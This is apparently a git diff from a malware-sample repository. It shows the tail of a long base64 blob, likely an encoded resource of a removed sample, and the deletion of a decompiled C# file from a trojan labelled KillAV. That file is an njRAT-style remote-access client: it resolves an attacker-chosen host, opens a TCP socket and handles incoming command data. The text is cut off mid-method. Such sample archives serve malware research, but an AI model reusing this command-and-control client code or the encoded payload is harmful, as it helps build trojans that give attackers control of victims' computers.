9U/+mt/Rv5792v/Ab/DP/5rP7V//w2/wb/6aL+1fv9GP/bO/xk/8Gv/dZwbKb0l2wodi/gKU/+jX/Mr+ - 9T/8Bv/1r/l7279+ox/7H3/N30f/kvd+ynvvl/+av2/w3u/nvfd//Jq/f/Ce+Qvv/Rq/Vha8d+699xv+ - WhfBez/tvfdb/Frw9s17v8uvVXvv/e6/VqN/yXtX3nvjX+vae++zX+uXeu+d/Vp/MP8FXvonfuzNr/WH - 2b/+4x/73q/1R9q//qcf+/29v/6PH5v9Wn+U/et3TH7/X+uPsX/dSd7+Wn+s/eurZP1r/Un2r1nyg1/r - T7Z//fH03p9h//pz6K8/0/71NyZ/+K/1Z9m//qXkj/21/hz7139Gf/159q9fmfzJv9ZfYP/6jX/DP/zX - +ovsX78r/fWX2L/u019/mf3ry9/w9/+1/opf45d7HPJX/hq/wZH56x/5Nf/KX+O3k79+jT/wN/xHfs2/ - 6td4qX/9cb/hb/lr/NW/xkr/+jt/w7/i1/qrf43/Q//6h6nlX/1r/N6/h/z1X/6Gf+2v9df8Gn8X//Vr - /hq//Df8m3+tv/bXmB3LX7/+b/Q3/1p//a/x/In89Vv+Rn/3r/U3/hp/lf7147/RP/Br/U2/xv+mfz34 - jf7RX+tv/jX+JWa83/I3+JN/4//51/pbfo3f6nvy11/+G/+v9NdI//qbf+NfTX/t81+iB//WX+M5/yXj - +1t/jTf812/zG/wGv8lv+mv/rb9Gqe/9TvwX+vpvfi3u/9d2//6l3r9/vffvP/hrI377Z/j3/8T++2v9 - Gv+z+T39tSgNAy77jX+dbht6K/01f42f/HXQZmK//bV+jT+S2/9x9Pmvo5B/V/78b+A2fzv/+8/9Ovjk - X/11fi1q+W/Rv7/Or/Ef8Od/wa+Lz/+SXxe//73877/Ln/yn/Puv4H/v/Hr4ZPzroZeDXw+fVPzJO/7k - D6V/f51f44/mz/9C/vwv48//Wv7k7+J//3X+/N/nz/9rbv+//3qIa3/dXx/z/VvSv7/+r/E7/vpoOeJ/ - /4Lev/+M/ffX+jX+7c7nv9av8av499/kN3D/3uN/X/0G+Paner8v+d8/mj/5M/h3S2HC8J/5DYDhv8uf - /2+db8O3fgXTCu1/7aC90M1v+c/w734b/9suhX8dbv/rBu37s+BDiM/Ir8twfr0AztDc+dC68xji43/7 - v0Xb/5q/xr/0Y/jkX/8xpsyPce/8748l+JxC7V8D/rD599f6NT5N0PJxgr5OE/T15UCbK27zS7nNH8Xf - /tLOv7/Wr/GPfqO//wG/If4VnpF/P+XPP/Va/pq/Ufd3Ge+938j9+/f/xj/2a0Cf/Mn072//a//F9O/W - r/2b8yd/Nf/7u/G/I/53n/99rJ/Dgx3xv/v872P+92/mb/9u/vcf/jWge//pX+OP+k3/vl/7t/814FP/ - 9r8GfOk7v8Zf/Zv+0/QJfOd/+9f4x3/Tf5t+R/v/mP79r3/tpxzLPf81/sff9I+lf3/Vb3r+6zznb/9r - +rf5df7nX+PoN7v4Nf/nX+OL3+yX/jq/6te4+M3+aPp39Zv9pb/Gr/o1rn+zP//X+DV/zT/2N/vTfp1f - 89f8k3+zP5v+/dN/s7/g1/mxXxO9/Ob071/66+DfP40++et/s7/q1/ldf81/5jf7O+nff+c3+21/DXzy - T/Dn/8Kvc+fX/NZv/q/9Oru/5uvf/N/5dR7+mtPf/D+if5e/+d//ax7/mn/Yb/67/ppnDO341/yTfvNf - +ev8xK/5F//mf/iv9RO/5l/3m/9q+v3v/c1/rV/39/k1Md7s1wS2Bf372/+61/Rv+uv+yb/m7/Nb3Pl1 - /+Zf8w//Lf6CX+fv/jX/PPr31/w1/47fYufX/TV/zX/gt3j86/7Fv+Y/9lt8/uv+1b/mv/JbfPHrAsOf - oM//g9/iJ39d4PP70+f/2W9x/uv+07/mr6Is0L/8a579Bte/7r/NvZCn8Vv+ib/u//xrrn/LP/3X/Y9/ - zf/xN/2C2v/S3/Kv+HX/5V/zj/kt/9pf9+Gv+WdQFujHfs0/77ec/xq/6tf8637Lv+nX/TV/rX/gt/zb - Gf7fTy3/8d/yH6Hf/8Xf8p+k3/+t3/Jv/jV/zV/zP/ktQbH/4rf8535d/P4v/7p/96/53/yW/zf9+z// - lr/Or/djv+b/9Vv+ol/jx36t3+y3Sn69X/PX/AW/FS03/Vrbv9U/+ev+9r/W49/qt/v1/u5f8/Pf6pf+ - On/xr/nmtzr89X7s1/p9fqtv079v6d8/+df8wW/16/6av/mv+Uf8Vi8Iwj/wW7ymf//43+qv+zV/7Nf8 - M36rv5n+/Tt+i5/69XZ/LdBq99f6tX/r3/LXAIS/4Nc7/rV+p9/6r/71HvLnZ7/Ws9/6b/r1zn6t7/3W - f+evl/1av+i3/gfo92v+9w/6rf+xX+/Or/Un/db/zK/3q36Nv+y3/qN/nT/51/ybfuu/gGbhX/qt/6df - 7/rX+tW/9a/7a/7Bv9Zv/tv8Or/eH/xrpfTvH/1rvfhtfudfv/g15r/Nj//6f/KvBWr/ol9r/Vve+fX/ - Z+LAv+DXechc+vDXAK2OibbjX/8nCJN7v/6v+jV+0W/zR/86fzZh8kt//d+eaX78a/7jv82f8OtnzI2/ - 6Nf6V3+bP41+/49/mz+bIPOMM5zi1/jff5u/79e/Q1HiP/Lr/9W/1n/82/xT1ON//Nv8ywzzf6Z/f8Fv - +7//+se/5tZv+yf8+uDY3/A3+FW/xm/wm/zRv84//Wu9+m13f4N/+tf6vX/bQ/r37W/7W/4a/zZT4D/+ - tf6s33b+G/zX9Ptf8mvi3z+Ufv+Pf5s/6jf4n3+Nv+q3/dN+g//41/qbfts/9zf4n3+tf/C3/Uu4zfjX - /69/rX/6t/1b6Pd/+bf9o+jff+e3/fuo5X/w2/7D1Mt//9v+0b/Of/1r/Vq/Hd79s37b//A3ACf8N7/B - j/2av+Fv9xtQruC35n//rd/yN6a0xO/82xF//trPf7v9H/s1f+2vfrun9O/v89ud0b/Zb/fqx/7jX+uv - +m1/7x/7r3+tP+w3//t+g9/+13j721382J1f48/47RY/dg3Z/LE7vzbPJv/78Nf+r367f+rH/mimzPGv - DdzO+POf+LVBpd+H/83434L//UX87zX/+wfzv380//sb/Brpr/Ff/Rq/AeWj/sxf6zf4Nf69X+PPo3// - o1/jL6Z//7tf45+jf/+nX+Nfpn8Pfk38/vjXxO+/56/579C/T3/N/5D+/fav+Z/9Wnd+jT/017j8tce/ - xm/56737dca/xif874/zv782//uf/rq/ZzL+Nf7bXwO//4b8ye/I//63v+4Zff7Lft05/furf9118nv+ - Gp9Qj78nRby/y699ov/+jr/G+Nc+I/h/2q895d+n/HlBn/yRv/YfxO3/0F/jF/O/Df+LNn80fftX/dp/ - EX/7l/4a/yh5WX8pv/UP8Sf/KP/+jzI+/zT9/of/+v8Rf/5f8++/xq+J33+NXxNtfu1fEzBT/iTlT36c - P7nza/6hv8bd5PfkT35P/vaEP/8D+Pc/gD//g/j3v4j//Yf4k3+If/+PBP6vJf9yL7/WvV/nD//1f5z/ - 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 - 397F2ACQAAAA - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/SocketsClient.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/SocketsClient.cs deleted file mode 100644 index bd149e46..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/SocketsClient.cs +++ /dev/null @@ -1,325 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.SocketsClient -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class SocketsClient - { - private static string response = string.Empty; - private static int port; - private static IPHostEntry ipHostInfo; - private static IPAddress ipAddress; - private static Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - private byte[] Spl; - public static Thread TH; - - public SocketsClient() => this.Spl = this.STB("nj-q8"); - - public void AT(byte[] D) - { - MyProject.MyForms forms = MyProject.Forms; - Form b = (Form) forms.B; - n.Delegates.T.T.appendText(ref b, ref D); - forms.B = (B) b; - } - - public event SocketsClient.onConnectEventHandler onConnect; - - public event SocketsClient.onErrorEventHandler onError; - - public event SocketsClient.onDataArrivalEventHandler onDataArrival; - - public event SocketsClient.onDisconnectEventHandler onDisconnect; - - public event SocketsClient.onSendCompleteEventHandler onSendComplete; - - public void Connect(string RemoteHostName, int RemotePort) - { - try - { - SocketsClient.client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - SocketsClient.port = RemotePort; - SocketsClient.ipHostInfo = Dns.Resolve(RemoteHostName); - SocketsClient.ipAddress = SocketsClient.ipHostInfo.AddressList[0]; - IPEndPoint remoteEP = new IPEndPoint(SocketsClient.ipAddress, SocketsClient.port); - SocketsClient.client.BeginConnect((EndPoint) remoteEP, new AsyncCallback(this.sockConnected), (object) SocketsClient.client); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - 